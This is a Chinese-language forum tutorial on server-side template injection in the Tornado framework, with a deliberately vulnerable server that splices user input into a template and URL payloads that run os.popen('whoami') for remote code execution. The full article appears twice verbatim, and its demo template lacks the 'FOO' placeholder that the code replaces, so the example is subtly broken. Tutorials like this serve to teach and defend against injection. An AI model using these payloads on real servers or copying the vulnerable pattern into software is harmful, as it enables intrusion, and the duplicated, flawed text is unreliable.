【技术讨论】Tornado模板注入
Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。得利于其 非阻塞的方式和对 epoll 的运用,Tornado 每秒可以处理数以千计的连接,这意味着对于实时 Web 服务来说,Tornado 是一个理想的 Web 框架。
web应用程序支持模板时,有一个方法是允许动态加载一个文件和渲染一些数据,最后返回给用户。
比如这个的例子
模板: test.html
<html>
<head><title>Hello {{ name }}</title></head>
<body>
Hello world
</body>
</html>
服务端代码: server.py
name = request.GET['name']
template_data = open("test.html").read()
template = Template.load(template_data)
response.write(template, name='World!')
程序会返回:
<html>
<head><title>Hello World!</title></head>
<body>
Hello world
</body>
</html>
模板注入发送在不可信的用户输入会被模板进行加载
例如这个例子:
name = request.GET['name']
template_data = open("abc.html").read()
template_data = template_data.replace("FOO",name)
template = Template.load(template_data)
response.write(template, name='world')
这将导致执行任意代码,可以在模板引擎上进行远程代码执行。
一些有问题的模板引擎如下:
Mako, Twig, Jade, Smarty, Jinja2, Freemaker, Velocity
利用思路
{ { … } } 之间的的输入会发送给模板引擎加载后输出。
例如:
{{"test"}} 输出 test
{{2*2}} 输出 4
{% import *module* %} 允许用户加载python模块
例如:
{% import os %}{{ os.popen("whoami").read() }}
我们来用一个例子完整演示下:
server.py
import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello world </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))
application = tornado.web.Application([
(r"/", MainHandler),
], debug=True, static_path=None, template_path=None)
if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()
运行服务python server.py
http://127.0.0.1:8000/?name=123

http://127.0.0.1:8000/?name={{"test"}}

http://127.0.0.1:8000/?name={{2*2}}

http://127.0.0.1:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}}

参考: http://blog.portswigger.net/2015/08/server-side-template-injection.html
web应用程序支持模板时,有一个方法是允许动态加载一个文件和渲染一些数据,最后返回给用户。
比如这个的例子
模板: test.html
<html>
<head><title>Hello {{ name }}</title></head>
<body>
Hello world
</body>
</html>
服务端代码: server.py
name = request.GET['name']
template_data = open("test.html").read()
template = Template.load(template_data)
response.write(template, name='World!')
程序会返回:
<html>
<head><title>Hello World!</title></head>
<body>
Hello world
</body>
</html>
模板注入发送在不可信的用户输入会被模板进行加载
例如这个例子:
name = request.GET['name']
template_data = open("abc.html").read()
template_data = template_data.replace("FOO",name)
template = Template.load(template_data)
response.write(template, name='world')
这将导致执行任意代码,可以在模板引擎上进行远程代码执行。
一些有问题的模板引擎如下:
Mako, Twig, Jade, Smarty, Jinja2, Freemaker, Velocity
利用思路
{ { … } } 之间的的输入会发送给模板引擎加载后输出。
例如:
{{"test"}} 输出 test
{{2*2}} 输出 4
{% import *module* %} 允许用户加载python模块
例如:
{% import os %}{{ os.popen("whoami").read() }}
我们来用一个例子完整演示下:
server.py
import tornado.template
import tornado.ioloop
import tornado.web
TEMPLATE = '''
<html>
<head><title> Hello {{ name }} </title></head>
<body> Hello world </body>
</html>
'''
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', '')
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))
application = tornado.web.Application([
(r"/", MainHandler),
], debug=True, static_path=None, template_path=None)
if __name__ == '__main__':
application.listen(8000)
tornado.ioloop.IOLoop.instance().start()
运行服务python server.py
http://127.0.0.1:8000/?name=123
http://127.0.0.1:8000/?name={{"test"}}
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={%import%20os%}{{os.popen(%22whoami%22).read()}}
参考: http://blog.portswigger.net/2015/08/server-side-template-injection.html
技术交流QQ群: 397745473
评论
发表评论